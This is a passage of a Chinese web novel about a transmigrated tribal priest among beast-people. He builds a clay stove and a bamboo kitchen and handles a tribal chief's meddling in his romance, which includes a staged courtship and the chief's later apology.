看破不说破,木族长转头看向灶台,极其自然地岔开话题:“你说这是煮饭的火塘?这个洞我知道,放锅的对吧?那柴火呢?柴火从哪里放进去。” “这边。”花时安走到灶台里侧,和木族长招招手。 绕了一圈走到灶台里,看着一排整齐的灶膛、灰膛,木族长还有些不明所以,而从花时安口中了解到灶台的原理,各个膛口的用途,他欣喜若狂,爱不释手地抚摸灶台,同时唤来营地里聊天的族人。 “别愣着,放下背篓赶紧过来看,祭司大人新做的火塘好神奇!哈哈哈哈……咱们往后再也不用蹲着煮饭了,这东西妙啊,太妙了!” 采集队的亚兽闻声而动,如潮水般涌了过来。 操作台还没干,他们不敢轻易触碰,几十号人全部围在灶台跟前。短短一瞬间,议论声四起,营地变成了清晨的菜市场。 “这是火塘?这和火塘有什么关系?” “上面这大黑洞是做什么用的?有整整十个。” “哇,真是黄泥砌出来的?看着好精致呀。” “里面也有好多洞,这些到底是做什么用的?” 全是提问的,没一个人能回答问题,花时安刚准备给他们解释一下,课代表红映兰站出来,“我知道,我知道了!” “上面的大洞放锅,十个洞放十口锅;里面的小洞是塞干柴的,我刚刚趴在洞口看了一眼,洞内还有很大空间,应该是从洞口把干柴塞进去,在里面烧!” “下面那个呢?那个又是什么洞?” “我知道!干柴烧完有灰,那个洞肯定是漏灰的!” “我懂了,中间添柴,下面漏灰,然后火焰飘到上面来煮饭!天呐,好神奇啊,火塘居然还能做成这样。” “不用担心火星子乱飞,不用担心风把柴吹灭,这个新火塘太厉害了!” “哎你们看,台面两边各有一个小洞,这是做什么的?” “烟,用来排烟雾的!” …… 你一言我一语,亚兽人激烈地讨论着,亦如一场狂欢。 天色渐暗,随着狩猎队满载归来,四头硕大的绿鬣蜥将这场狂欢的气氛拉到最高点。 野菜配不上新灶,得用肉来开灶。 第99章 第 99 章 我在跟你求偶 蜥蜴肉不耐放, 加上族人许久未沾荤腥,两位族长和花时安一合计,吃,敞开了吃, 一顿把四头绿鬣蜥全部给造了。 穿越以来第一次敞开吃肉, 花时安一点儿都没收敛, 接连炫了三碗。过足了嘴瘾,解了馋,一不留神吃撑了,他平坦的小腹高高鼓起,像一个圆滚滚的气球,吸气都吸不回去。 “嗝!” 响亮的饱嗝从喉咙里溢出, 花时安放下只剩一点点汤的陶碗,意犹未尽地舔了舔嘴唇。 撑得有点难受,现在更应该起来走一走,消消食,但花时安感觉爬起来都费劲。尝试了两次没能站起来,他放弃了,懒洋洋地倚着大树, 用手掌轻轻揉搓肚皮。 夜深了, 晚餐接近尾声,胃口小的亚兽基本吃饱了, 三五结伴去河边洗碗;胃口大的兽人仍在继续, 端着碗大快朵颐,一吃一个不吱声。 大块头坐在兽人堆里同样显眼,花时安扫了一圈,很轻松就找到了与岩秋雨、红勇坐在一块的莫淮山。 他端着碗大口吃肉, 神情愉悦而满足,时不时偏头与岩秋雨说几句话,眸中漾着淡淡的笑,但自始至终,他看都没看一眼花时安所在方向。 自从上次被大族长故意分开,莫淮山就再没找过花时安,甚至没有单独和花时安说过话。虽说部落最近忙了点,但真不至于连说句话的时间都挤不出,除非压根不想。 一切又回到了原点,花时安隐隐感觉得到,莫淮山又开始了,有意疏远他,有意与他保持距离,似乎想为这段不算正式开始的感情画上一个句号。 不算聪明绝顶,但花时脑子还算转得快,他猜到了缘由。 木族长知道的事,大族长一定也知道。 正因为知晓莫淮山无法生育,所以极力阻止他们在一起。而这件事莫淮山本人不一定知道,花时安猜测,大族长把真相告诉他了,自卑敏感的兽人又觉得配不上他,刻意疏远。 事情不算复杂,花时安心情却很复杂。 很累,他一直在往前走,步伐坚定地走向对方,可兽人呢,下定决心往前走两步,时不时犹豫一下,时不时往后退两步。 这场追逐游戏似乎永远结束不了,作为追的那个人,花时安难免心灰意冷。为什么不能坚定一点呢?哪怕坚定地站在原地,他也会慢慢走过去。 自己先动心,自己先撩拨,花时安不介意主动,但他现在开始怀疑,或许兽人从未动过心,不拒绝他的靠近也只是因为,他还算是一个优秀的亚兽,一个还算不错的选择,所以随时可以抽身离开。 算了,走不动了,不行就到这吧…… “祭司大人,祭司大人?” 一声轻呼打断了思绪,花时安眼眸微抬,对上了长晴笑吟吟的眸子。 她已经吃完饭了,手里攥着一叠湿漉漉的蜥蜴皮,另一只手拎着一个鼓鼓囊囊的棕包。似乎找花时安有事,长晴指了下他身旁空位,轻言细语地问:“我可以坐在这里吗?” 花时安坐直了些,呆呆点下头,“当然可以,随便坐。” 棕包放在地上,蜥蜴皮攥在手里,长晴没急着切入正题,坐在旁边若有所思地看着花时安,沉默良久才轻声开口:“遇到什么事情了?你看起来有点难过。” 有这么明显吗? 花时安耸了耸肩,扯出一个不算好看的笑,“没有难过,只是在想之后要做的事,有点发愁。” “哦?” 长晴来了兴趣,打破砂锅问到底:“之后打算做什么?很麻烦吗,说不定我能帮上忙。” 花时安一时语塞,扫了眼营地,硬给自己挤出一点发愁的事,“我不是打算把营地改造一下嘛,需要大量竹子、大量木头,狩猎队今天抓到这么多猎物,势头正猛,我在纠结怎么开口跟大族长要人,有点不好意思呢。” “就这个?”长晴轻笑一声,“没什么不好意思的,虽然不知道你要怎么改造,但这也是利于部落的事。要几个人帮忙砍树砍竹子是吧,五六个人够吗?一会儿我去给大族长说。” 随口一提,还顺便解决了一件事。 花时安没跟她客气,笑笑道:“够,那就麻烦你了。” 亚兽笑起来很好看,眉眼弯弯,嘴角上扬的弧度恰到好处,转瞬便从夜空中清冷的月亮变成了白日里明媚而灿烂的阳光。 但他笑容很浅,澄澈的眼眸黯淡无神,似乎被沉甸甸的心事压得喘不过气,整个人蔫儿哒哒的。 如果他此时变回兽形,毛茸茸的小耳朵一定耷拉着。 很少见他这副样子,原因并不难猜,长晴手腕微抬,掌心落在花时安肩膀上拍了拍,“事情其实很简单,说出来总有办法能解决不是吗?别把什么都憋在心里,要说,大大方方地说。” 听她语气像是看出什么了,花时安怔了一瞬,开始装傻充愣,“什么啊,我不是已经告诉你了吗?” 长晴直勾勾地盯着他的眼睛,似笑非笑道:“对啊,你告诉我了,所以事情顺利解决了。重点在于说,我有说错吗?” 真看出来了,拐弯抹角地鼓励他呢。 花时安终于听懂了。 两人心照不宣地对视一眼,不约而同地笑了。 背靠着大树坐了一会儿,营地里吃完饭的兽人散得七七八八,花时安胀鼓鼓的肚子也瘪下去了,困意慢慢涌了上来。 该回去睡觉了,但长晴似乎还有话要说,花时安捂着嘴巴打了个长长的哈欠,泪眼蒙眬地看着长晴,“我的事解决了,心里舒坦了很多,你的事呢?” 该面对的还是要面对,长晴眉头微皱,眼神复杂地看了花时安一眼,而后伸手将湿漉漉的蜥蜴皮递了过去,“这是一张完整的蜥蜴皮,大族长念在我们炼铁辛苦,分给我们六个兽人的。为了让我顺利找到伴侣,其他五个兽人一致决定把这张皮给我,现在我把它送给你。” 不等一脸茫然的花时安品出其中意思,长晴拎着放在脚边的小棕包,一并递给花时安,“听说你喜欢软乎乎的东西,这里面是我最近掉的毛,祭司大人你……可以拿去铺床。” 又送兽皮又送毛,她这是…… 茫然一点点散去,花时安瞬间瞪大了眼睛,满脸错愕与惊吓。 长晴尴尬地笑了笑,“没错,就是你想得那样,我在跟你求偶。祭司大人,你考虑考虑我吧,做我的伴侣。” 这话从长晴嘴里说出来,花时安真是眼前一黑又一黑。 虽然认识的时间不长,但经常一起干活,花时安和长晴还算混得比较熟。平时像姐弟一样相处,毫无征兆地整这一出,不亚于直男哥们突然表白。 尤其她前不久才看穿花时安的心事,还旁敲侧击地鼓励他,怎么下一秒就……花时安眉头拧成麻花,偷偷掐了下大腿才相信不是梦,递给长晴一个一言难尽的眼神,“晴姐,我——” “别解释,先告诉我行不行。” 长晴一反常态打断花时安的话,抬起胳膊轻轻撞了他一下,压低嗓音道:“大族长和木族长在灶台后面还没走,别往那边看!你回答我的时候大声一点,反应大一点。” 萦绕在心头的疑惑突然就解开了,花时安反应也很快,噌地站起身,踉跄后退与长晴拉开距离,义正辞严道:“晴姐,我拿你当姐姐,你居然想做我的伴侣?” “不行,绝对不行!我对你没有那方面的意思!” 长晴戏瘾也上来了,眼底闪过一丝难以置信,忙地起身走到花时安身前:“祭司大人,我是真心实意的,你再仔细考虑考虑成吗?我身强力壮,能狩猎,能打铁,一定能让你过上好日子的。” 花时安连连后退,脑袋摇得跟拨浪鼓似的,“不了长晴,你很好,但这种事没办法勉强,我们不合适,我们最多只能当朋友!” “是我哪里没做好吗?”长晴步步紧逼,与平常温柔和善的态度截然相反,语气略有些咄咄逼人,“没做好我可以改的,给我一个机会行不行?祭司大人,我会对你——” “够了!” 花时安眸子一沉,声音骤然拔高,“我想我已经说得很清楚了,我对你没有那方面的意思,一点都没有!尊重我的选择可以吗?不要一味地纠缠,再这样下去我们连朋友都做不了,以后只能当陌生人!” 放在树脚下的碗都不打算要了,昔日好友变成了洪水猛兽,花时安如避蛇蝎般绕过长晴,说完便头也不回地走了。 “祭司大人!” 兽人着急忙慌地追了上去。 两人的身影接连消失在夜色中,脚步声渐渐远去,乌漆麻黑的营地,半人高的灶台里传出一声无奈的叹息。 “你看看你看看,我就说行不通吧!我都不知道你怎么想的,居然让长晴去跟时安……哎,这都叫什么事儿啊!” 拔地而起的灶台变成了遮挡身形的掩体,两位族长鬼鬼祟祟地蹲坐在灶台里,借着夜色掩护偷摸听完了长晴和花时安交谈。 长晴求偶失败,木族长还搁旁边幸灾乐祸,大族长郁闷极了,烦躁地在头上抓了一把,“他拒绝了红勇,又拒绝了长晴,部落最优秀的两个兽人他都看不上,怎么偏偏就看上了傻大个?” 汤早就凉了,木族长端着碗一饮而尽,在一脸失望的大族长肩膀拍了两下,语重心长道:“我到底年长一些,看人还是准。” “时安和别人不一样,他本身就是一个有本事、有想法的亚兽。换句话来说,他必须找一个优秀的兽人才能过得更好?当然不是,他自己就可以过得很好,完全不用靠兽人。” “所以他可以随心所欲地挑选伴侣,优不优秀不重要,重要的是他喜欢,他满意。你啊,就别去瞎掺和了,硬拆散他和傻大个,他不会随随便便找个伴侣凑合。” 这话大族长不爱听了,板着脸道:“什么叫我瞎掺和?傻大个要是没毛病我才懒得管,但他不能让亚兽孕育幼崽啊!祭司大人那么聪明的亚兽不生幼崽,只会是部落的损失!” “是是是,你为了部落好,但你把时安当什么了?他不是什么都不懂的三岁幼崽,生不生幼崽不是你该决定的,他自个儿说了算!”木族长火气也上来了,冲着大族长就是一顿吼。 大族长不说话了,木族长发泄完也慢慢冷静下来了,轻叹一口气,自言自语般喃喃道:“时安对部落的贡献有眼睛的人都能看见,没有他就没有如今的部落,这话一点都不夸张。” “他为部落做了这么多,却连自己选择伴侣、选择怎么过日子的权利都没有,多让人寒心啊。他很聪明,一定能猜到我们在中间阻拦,再这样下去,就怕他会厌恶我们。” 有些事情强求不得,得罪祭司绝非大族长本意。 听完木族长一番话,大族长也放弃了,沉默良久才从唇缝中挤出几个字,“那,现在怎么办?” “能怎么办?现在收手还不晚,别掺和,别多管闲事,我们已经老了,年轻人的事随年轻人自个儿去吧。如果非要做点什么,抽空和时安道个歉。” 第100章 第 100 章 不堪一击 “祭司大人你慢点, 等等我。” 从没想过亚兽人能走得这么快,双腿一迈健步如飞,转眼就走出二里地,长晴紧赶慢赶, 一路小跑才追上花时安。 被人瞒着的滋味一定不好受, 长晴匆匆走上前, 透过夜色瞄了眼花时安的神情,眼底笑意渐淡,小心翼翼道:“祭司大人,这事儿是我不对,没提前和你商量,你没生气吧?” 说不生气那都是骗人的, 花时安现在怨气比鬼还重。 不过比起无意义的生气,他更想知道这是怎么回事,于是停下步子朝长晴笑了笑,“没生气,演戏演到底嘛。现在没人了,说说吧,你们唱得哪一出?” “三两句话说不清, 走, 换个地方说话。” 大族长和木族长随时可能走过来,长晴扫了一圈, 朝花时安招招手, 扭头钻进旁边伸手不见五指的丛林。 孤男寡女夜探丛林,花时安笑了声,快步跟了上去。 光线太暗,长晴没敢带着花时安走太远, 离最近的树洞百十米,她停下步伐,双手抱胸就近倚着一棵大树,直截了当地开口:“大族长想撮合我们,回到部落的第二天就开始了。他特意让我跟着你干活,和你熟悉,搞好关系,然后——跟你求偶。” 回来第二天就开始了? 花时安听得直皱眉,这是下了一盘大棋啊。 不过有一点他不理解,忙地问道:“可是你对我也没有那个意思,为什么不直接拒绝呢?部落好像没有强制安排伴侣这个规矩?” “祭司大人。”长晴挑了下眉,嘴角扬起一抹玩味的笑,“我是一个独身兽人,有接触优秀亚兽的机会,为什么要拒绝?” 花时安倏地一抬头,满眼不可置信地看着长晴,“感情你一开始还真有那个想法?” 长晴坦然点点头,“对啊,我也想找伴侣,所以试着接近你,和你相处。不过后来我发现,我们俩性子太像了,更适合做朋友,不适合做伴侣。” 像?哪里像了?一个温柔和善—— 等等,花时安定眼看着长晴,眸中闪过一丝诧异。 兽人姿态闲散地倚着大树,左腿搭在右腿上,双手环抱胸前,明艳而张扬的脸颊带笑,一双桃花眼直勾勾地,目光坚定地与花时安对视。 这哪是温柔和善的大姐姐,活脱脱一个桀骜不驯的拽姐! 摊牌了?不装了? 花时安气笑了,“真看不出来啊长晴,装得很辛苦吧,” “那可太辛苦了!”长晴耸了耸肩,“没办法,现在亚兽少,兽人多,他们都说亚兽喜欢温柔的,我这性子不装一装,很难找到伴侣啊。” 花时安:“不至于,你很优秀。” “那你为什么看不上我?”长晴突然来一句。 花时安小声嘟囔:“你不也没看上我吗。” 长晴扑哧笑出声,调侃道:“别伤心呀祭司大人,我没看上你不是你不好,恰恰相反,正是因为你太好了。你聪明伶俐,无所不知,无所不能,独特又独立,你这样的亚兽永远不会依赖别人。” “而我呢,”长晴捏着下巴琢磨片刻,“我更喜欢可可爱爱,软软乎乎,特别依赖我,天天黏着我的亚兽。再说了,看上了又有什么用呢?你心里住着一个兽人,看不见旁人。” 最后这句话倒是提醒他了,花时安挑了下眉,“谢谢夸奖。你应该早就看出来了吧,我和莫淮山的关系……比较亲近。” 长晴“嗯”了一声,“你们没有刻意遮掩,回来的路上我就看出来了。但关系好又怎么,亲近又怎么,只要还没结成伴侣,就还有公平竞争的机会。” 好家伙,把挖墙脚说得理直气壮,大姐姐人设崩得很彻底。头有点疼,花时安捏了捏鼻梁,思索片刻又问:“今晚为什么这么突然?我们虽然熟悉了,但远没有好到可以求偶的程度,大族长耐心这么差,这就等不及了?” 一听这话,长晴重重叹了一口气,“哎!这事儿主要也怪我。发现我们不适合做伴侣,我本该找个机会和大族长说清楚的,但大族长先看出来了,生怕我撂挑子不干,刚好今晚又有兽皮,就急急忙忙地催着我来了。” “你看着可不像一个完全服从安排,对大族长言听计从的兽人。”花时安意味深长地看了她一眼。 长晴眼眸微抬,隔空对上花时安的视线,忽地笑了一声,“当然是因为……兽皮啊!你拒绝了我,那张蜥蜴皮就归我了,现在竞争这么大,我肯定要为我的亚兽做些准备。” 这个话题有点微妙,花时安说出口就后悔了。 求偶这件事可大可小,成功了抱得伴侣归,失败了难免会被同伴调侃,沦为族人茶余饭后的谈资,大族长再着急也绝对不会逼她,除非长晴自己愿意。 还好还好,不论之前还是现在,长晴骨子里依旧是个温柔细腻的人,不戳破那层纱,不让对方尴尬为难,给双方都留了余地。 时间不早了,花时安朝长晴笑了笑,转身往回走,“夜深了,走吧,明儿一早还要干活,早点回去休息。” “祭司大人不生气?”长晴不紧不慢地跟在他身后。 花时安如实道:“刚开始有点,现在还好,毕竟这事也不怨你。” 不怨她那就是怨大族长了,长晴无声叹了口气,“祭司大人,确实是大族长做得不对,他管得太宽了,硬拆散你和莫淮山,但这不是他一个人的错,我也有很大的问题。” “是我们对不住你,你看这样好不好,我无条件答应你一件事,以后有事随便开口,只要我做得到都可以。希望你不要记恨大族长,他也是为了部落,一时糊涂。” 主动揽责帮大族长开脱,还挺仗义的,花时安笑了笑,“放心,不会因此记恨你们的,这件事虽然因你们而起,但最终结果不是你们能决定的。” 大族长确实打算拆散他和莫淮山,但人家从始至终只做了两件事,把真相告诉莫淮山,让长晴来接近自己。没有威逼没有利诱,是他们的关系太脆弱了而已,不堪一击。 100-110 第101章 第 101 章 变脸的大族长 胡思乱想到凌晨才睡着, 花时安不出意料地睡过头了。 洗漱完溜达出门,门前草地只剩寥寥几人,高悬天际的烈日正发光发热,好似红彤彤的大火球, 显然时间不早了。 长晴办事靠谱, 昨晚才说帮他找大族长借人, 这会儿事已经办妥了,营地里虽然一个兽人都没见着,但堆放着十多捆绿油油的新鲜竹子、六根大腿粗的大树。 效率还挺高,一上午弄回这么多材料。 灶台砌好,材料备齐,厨房可以开始动工了。花时安伸了个懒腰, 找到昨天放在树脚下的木炭和竹片尺,围着灶台画起了框架。 厨房和灶台一样,短时间用一用就行,以后分家就闲置了,花时安不想大费周章地折腾木材,打算直接用竹子来盖厨房和柴房。 自古就有竹屋,只要用对方法搭建, 竹屋的牢固性并不差, 而竹子比木头好获取、好处理,即砍即用, 省时又省力。 当然也有坏处, 竹子分量轻,搭建的竹屋整体也会比较轻,遇上大风被整个掀翻也不是没有可能。不过这个问题很好解决,盖房子之前挖好基坑, 将主体框架埋深一点即可。 边量边画,花时安很快便在灶台周围画出一个标准的长方形。被黑线框住的区域不算大,约等于一间小教室,仅将灶台和操作台框了进去,四周各留下一条过路的通道。 洗菜洗肉在河边解决,厨房主要用于烹饪,足够了。 这下真的可以动工了,花时安把木炭、竹片一放,擦了擦额头上的汗,拖着锄头走到黑线边上。 锄头刚刚挥起来,身后忽然传来嘭嘭几声闷响,花时安还没来得及回头,紧接着又是一声诧异地惊呼:“哎哟祭司大人,你这是要挖什么?快放下锄头,这种脏活累活我们来干。” 这声音,这语气,除了岩秋雨还能有谁。 没想到今天派了熟人来干活,花时安把锄头往地上一杵,笑着转过头,“来,赶紧来,别光动嘴不——” 话音戛然而止,花时安望着营地,笑意凝固在眼底。 阳光透过枝叶间隙洒落下来,明亮而干净的营地里多了六棵树,多了六个大汗淋漓的兽人。除了花时安熟悉的大族长、岩秋雨、巨明,另外两个叫不出名字的兽人,然后便是导致他昨晚没睡好,至今闷闷不乐的罪魁祸首,莫淮山。 这是什么意思呢?想见的时候特意把他们分开,好不容易下定决心,又把兽人叫来干活,整得大家都尴尬。花时安不悦地皱着眉,将目光转向大族长,无声质问。 上一秒还在笑,下一秒就板着脸,感觉不太妙啊…… 大族长抹了把汗,假装没看到花时安疑惑,扭头朝兽人们摆摆手,“都别愣着了,去去去,看看祭司大人要挖什么,帮忙干活去。” “不是吧族长,刚把树扛回来,瞧我这一脑门汗,让我们歇会儿呗。”刚才最积极的岩秋雨抬手扇风,小嘴噘出二里地。 巨明小声附和:“就是,气儿都没喘匀。” 大族长没好气地推了他俩一把,“歇什么歇,挖点泥土又不累,就当休息了,赶紧去。” 抗议无用,五个满身大汗的兽人拎着锄头走向花时安。 一大堆事情等着做,花时安顾不上尴尬,待兽人们一同走上前,他手一抬,指着地上的黑线吩咐道:“沿着地上的黑线挖,挖一条巴掌大,中指深的浅坑就行。黑线四个角,还有画黑点的地方注意了,这里挖坑,挖一个碗口大,没过膝盖的深坑。” “一、二、三……”岩秋雨绕着灶台走了一圈,数了下地上的黑点,又兴冲冲地跑回人群,“还好还好,加上四个角也就十个坑,咱们五个一人挖两个坑,轻轻松松。” 在灶台四周挖坑肯定不是为了玩,巨明非常兴奋,迫不及待地拎着锄头走到一个黑点跟前,急忙催促众人:“快来快来,赶紧挖,早干早完事,我特别想看看祭司大人说的房子到底长什么样!” “原来挖坑是为了盖房子?我突然就不累了。” “走走走,干活,咱们赶紧把房子盖出来。” 盖房子这件事多多少少都听说过一些,但谁也不知道房子到底长什么样。对新鲜事物的好奇点燃了兽人的激情,一个两个找好位置,麻利地挥舞锄头。 有一个人迟迟没有动作,他目不转睛地看着花时安,嘴唇微张,低低唤了声“时安”。而花时安就像是没听到一样,眼皮子都没抬,拎着锄头转身离开。 远处看到这一幕的大族长:完了啊! 没有跟着兽人一块挖坑,大族长坐在树干上歇气,正等着花时安。如他所愿,花时安走过来了,但刚一上前蹲在竹子堆前解绳子,眼里全是活,完全没有要发脾气或质问的意思。 比起大发雷霆、大声质问,这样不吵不闹才是最可怕的。 大族长坐不住了,忙地起身蹲在花时安身旁,磕磕巴巴道:“祭司大人,你、你要不骂我几句吧。这事儿是我错了,我不该多管闲事,不该插手你的私事,是我,我对不住你。” 才过了一晚上就想通了?花时安诧异地挑了下眉,语气却是波澜不惊:“大族长说笑了,我骂你做什么?说起来我还得谢谢你呢,谢谢你帮我认清现实,及时止损。” 大族长心里“咯噔”一声,“别啊祭司大人,你别这样说。我、我真就是一时糊涂,自以为为了部落好,为了你好,昨晚老木给我说完我才知道我错得多离谱。” “我虽为族长,管理部落大小事宜,但我的的确确不该插手族人的私事,剥夺族人的择偶自由。何况祭司大人为部落做了这么多,如果连这种小事都不能遂你的愿,那、那我这个族长也当得太失败,太不是人了。” 大族长叹了口气,眼中愧色愈发浓郁,“是我有错在先,你心里有气也是应该的,但咱们先说好成不成?有气有火冲我来,不行就骂我,打我也行,别把火气憋在心里。” 言辞恳切,态度端正,这番话听起来倒像是肺腑之言。 一个上位者能认识到错误,及时改正,这一点难能可贵。话都说到这份上了,花时安不再拿乔,转头朝大族长笑了笑,颇为郑重其事道:“大族长,我心里确实有气,但不至于气到打你骂你。” “事情过去就过去了,我也不是小气的人,不会因此与你生了间隙。昨晚我和长晴也说过了,这件事因你们而起,但最终结果不是你们造成的,往后不要再来一次就行。” “不会不会,一次就够了,这种事往后绝对不会再发生,我向你保证。”大族长在胸口上重重拍了两下,以表决心。 这一茬就算过去了,另一件烦心事还摆在面前,花时安不想把自己感情生活弄得人尽皆知,但大族长负责安排人手,不说也不行。 看见他眼底一闪而过的迟疑,大族长主动开口问:“怎么了祭司大人,还有什么事要交代吗?” “交代算不上,有件事要麻烦大族长。” 花时安组织了一下语言,轻声道:“往后干活不用刻意把我和莫淮山分在一起干活,如今我和他没有任何关系了,待在一起只会尴尬,耽搁事。” “你不要他了?”大族长噌地站起身,声音骤然拔高。 中气十足的一嗓子,远处干活的兽人听到动静齐刷刷看了过来。好在他们脸上带着茫然,似乎并未听清说的什么。 花时安瞪了大族长一眼,“低声些,难道光彩吗?” “不是,”大族长急得抓耳挠腮,重新屈膝蹲下,识趣地将嗓音压低了几个度,“你别不要他啊!你不是喜欢傻、莫淮山吗,现在没有任何阻拦,我和木族长举双手双脚赞成,你们今晚就可以结成伴侣!” 花时安眸光微冷,唇缝中溢出一声轻哼,“我还以为大族长是个说话算话的人,结果这才多久,又开始干涉我的自由了?” 大族长眉头紧拧,“可是,可是——” “没那么多可是,”花时安打断他的话,不咸不淡道:“在一起也好,不在一起也罢,这是我们自己的选择,大族长还是不要插手的好。” 大族长双手抱头,使劲揪着自己的头发,一脸崩溃之色,“你们本来就互相喜欢,本来是打算结成伴侣的,现在硬生生被我拆散开,我、我岂不是成罪人了?你俩得恨死我。” 原来是担心这个,花时安笑了,故意调侃:“大族长原本不就是这么打算的嘛,怎么现在又害怕我们怨恨你了?” 大族长猛地摇摇头,“那不一样,原本拆散你们是为了给你找一个更好的伴侣,但我现在看明白了,除了他,你谁都不会要。” 瞧他自责的样,花时安不忍心继续捉弄,伸手在他肩膀上拍了拍,“放宽心吧族长,不怨恨你。刚刚不是说过了嘛,有你们的原因,但不全是你们的原因。” “到底是什么原因,为什么就不要他了?”大族长打破砂锅问到底。 其实可以不回答的,可憋在心里实在不怎么好受。 鼻尖泛起一阵酸意,花时安眼眸微垂,肩膀往下沉了沉,扯出一个不算好看的笑,“是他先不要我的。” “不可能!” 大族长一巴掌拍在大腿上,言之凿凿:“他这些天没少烦我,一有空在我耳边叨叨,让我不要反对你们结成伴侣。说什么努力狩猎、努力变得有用、会对你好……反正只要我答应,让他做什么都可以。” “还有今天,你该不会以为我特意让他来砍树的吧?他昨晚看到长晴送兽皮给你,急得不行,今天早上红着眼睛跟我闹,非闹着要来的!” “你们两个能不能走到一起,决定权始终在于你。那傻小子心里有你,我当时为了让他死心,话说得很难听,把他贬得一无是处,可即便是这样,他还不肯放弃。” “我也算是看着他长大的,他命不好,从小被族人孤立、排挤,性子因此变得懦弱,不敢反抗。从小到大,族人说什么他做什么,更不敢违抗族长的命令,唯独这件事,他一直在反抗,一直在争取。” 第102章 第 102 章 竹屋 “咚咚咚, 哐哐哐——” 艳阳高照的下午,沉闷的敲打声与嘈杂的摩擦声持续回荡在营地中。连同花时安在内的七个人犹如一群勤劳的蚂蚁,忙忙碌碌,来回打转, 与比自身庞大数倍的“方糖”作斗争。 事情不是一般的多, 七个人半天时间盖一座房子出来, 那真是忙得连喘气的时间都没有。五个兽人刚把基坑挖好,汗都没擦,花时安和大族长那边又挑出十根粗壮直挺的老竹,急急忙忙地呼唤他们。 能咋办嘛,挽起不存在的袖子——开干! 岩秋雨与巨明生火烤竹子,让其质地更坚硬, 韧性更稳定;另外两个兽人用竹片量好长度,依次将十根老竹锯到长短一致;莫淮山和大族长拎起凿子、铁锤,破开青竹皮,在竹身与顶端凿出一排大小适中的凹槽…… 费时费力,每一个步骤都极其繁琐,尤为废人。 十根大腿粗的老竹既为桩又为框,花时安想好了, 不用一颗钉子, 竹屋直接用古建筑的结构方式,精巧绝妙的榫卯结构来搭建。 主体框架凿出凹槽, 备好作为墙体的竹筒, 一根一根嵌入凹槽中。这不算是最简单的建造方式,但在缺乏工具的原始时代,绝对是最牢固的建造方式。 “砰砰砰”的敲打声仍在继续,兽人们挥汗如雨, 把加工好的桩柱一根一根钉入基坑中,紧接着将泥土回填,夯紧实。 声音消失时,花时安回头看了一眼,十根粗壮笔直的老竹矗立在灶台四围,远远看着像是一排电线杆子。 到检验成果的时候了,不知是谁叫了声“祭司大人”,花时安丢下凿到一半的老竹,拍拍屁股站起身,径直走到一根桩柱跟前。 话不多说,他抬腿就是一脚,猛地踹在桩柱上。 这一脚跟泄愤似的,用了十成力,桩柱虽未被踹倒,但立马振动起来,顶端在半空中晃动,“嗡嗡”作响,吓得岩秋雨脸色骤变,连连惊呼:“祭司大人,你别踹啊!好不容易钉进去的,你用那么大劲给踹倒了怎么办?” 花时安还没说话,大族长没好气地瞪了他一眼,“你是不是傻?祭司大人那会儿不是说了吗,这十根老竹子主要用来承重,如果连祭司大人一脚都承不住,那还有个屁用,不如早点拆了。” “原来还要承重,我给忘了。”岩秋雨尴尬地挠了挠头。 巨明抬手给了他一肘击,“别老是走神,祭司大人说话要认真听。” 岩秋雨嗯嗯哦哦地敷衍:“在听了在听了。” 花时安绕着灶台走了一圈,毫不客气地给每根桩柱都来上一脚。兽人们不由紧张起来,生怕自己埋的桩柱出问题,直到花时安踹完一圈走回来,桩柱一根没倒,他们这才齐齐松了一口气。 不过显然高兴得太早了,花时安走回众人身前,抬手往旁边一指,“这边第一根,后面那排第二根,你们谁的?挖出来重新埋。” 循着他的手指看过去,巨明眼底的笑意凝固了,忙地追问:“哪里出问题了祭司大人?这、这不是没有倒吗?” 花时安耐着性子解释:“不倒只是最基本的,桩柱是整个竹屋的主体,屋顶和墙体必须搭建在它之上。那两根晃得有点厉害,就这样将就盖的话,风一吹竹屋就会嘎吱嘎吱响。” “原来还不能晃得太厉害啊,看来盖房子这活儿一点都不能粗心大意。”大族长抬手摸了摸鼻头,轻轻叹了一口气。 另一根桩柱半天没人认领,兽人们你看看我,我看看你。 就在众人疑惑之际,大族长轻咳一声,拎着锄头远离人群,“别看了别看了,我的。走吧巨明,挖出来重新埋去。” 众人先是一愣,随即哈哈大笑起来。 “哈哈哈,大族长居然也有失误的时候。” “好过分啊大族长,一开始还不吱声,害得我担惊受怕,还以为是我的竹子出问题了。” 没完没了了!大族长猛地一回头,“笑笑笑,就知道笑,事情做完了吗?还不滚去干活,听祭司大人的安排!” …… 竹屋的主体框架搭好,接下来便轮到房顶框架、墙体所需材料。烧竹子、锯竹筒、凿凹槽……步骤基本上差不多,但具体长度大小需要重新测量,且嵌墙要的竹筒不是一般的多。 工作量有点大,担心忙不过来,花时安特意把门前草地上编竹具、捏陶坯的老人小孩也叫过来帮忙。他们虽然干不了重活,但帮着烤一烤竹子,打一打下手还是没问题的。 一刻不停地干,花时安和兽人身上的汗水就没干过,可紧赶慢赶,房梁与两面倾斜、呈三角形的房顶框架牢牢嵌入主体框架时,太阳已经开始下山了。 夕阳染红了半边天,灶台四周精致巧妙的长方体骨架蒙上一层金色霞光。长短不一的竹竿纵横交错,一根扣一根,接口处完美嵌合,紧密相连,比竹钉固定还要牢固。 竹屋已有雏形,心中蓝图逐渐清晰,花时安看着辛苦大半天的成果,积压在胸口的乌云缓缓散去,烦闷的心情随之转晴。 框架搭建好,墙体所需要的竹筒备齐,剩下的活儿就轻松了,如果说之前是在做乐高,那么现在就到了拼乐高的欢乐时间。 锯成合适长度的竹筒斜着放进两根桩柱之间,调整好角度把两端凿好的榫头插入凹槽中,用力按到底。真的就像是拼乐高一样,榫头与凹槽严丝合缝地嵌合在一起,不留一丝缝隙。 一根一根接一根,竹筒从下往上慢慢堆叠起来,如同一块块平整的砖头,在桩柱与桩柱之间筑成一堵密不透风的竹墙。 嵌竹筒比较有意思,劳累一天的兽人从中找到了乐趣,干活的速度愈发利索。太阳下山时还是一个光秃秃的框架,天色暗下来时,圆润的竹筒填满框架空隙,围出一间翠绿而温馨的竹屋。 天色越来越暗,今天只能到这了,兽人们累得够呛,花时安一说收工,他们一个比一个跑得快,一窝蜂似的冲去河边洗澡。 身上全是汗,整个人像是从水里捞出来的,都快被腌入味了,但花时安没急着去洗澡,他慢步后退站在营地中央,抬眸欣赏今天的成果。 竹屋盖得并不高大,不算上房顶框架的话,内部高度在两米五左右,比现代社会住宅层高要矮上一些,长时间待在屋内可能会感觉压抑。 但完全不影响,毕竟厨房是用来煮饭的,没人会长时间待在里面。 